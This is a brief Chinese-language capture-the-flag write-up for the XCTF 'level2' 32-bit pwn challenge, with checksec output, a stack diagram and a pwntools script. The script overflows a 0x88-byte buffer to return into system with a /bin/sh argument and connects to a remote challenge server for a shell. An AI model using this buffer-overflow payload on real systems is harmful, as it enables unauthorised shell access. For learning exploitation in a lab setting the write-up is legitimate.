xman - level2

32位函数调用并传参

checksec level2

1
2
3
4
5
6
7
$ checksec level2 
[*] '/home/k1ea4c/桌面/xctf/level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

IDA分析下,调用 system 函数再将 .data 里面的 /bin/sh 作为参数传进去就可以拿到shell 了

栈结构

高地址 参数
ret
低地址 system地址
高地址 ret
ebp
低地址 buff rbp-88h

exp 脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context(arch="i386")

#sh = process("./level2")
sh = remote("159.138.137.79", 52518)
payload = (0x88+4)*b"a"+ p32(0x08048320) + p32(0) + p32(0x0804A024)

sh.send(payload)

sh.interactive()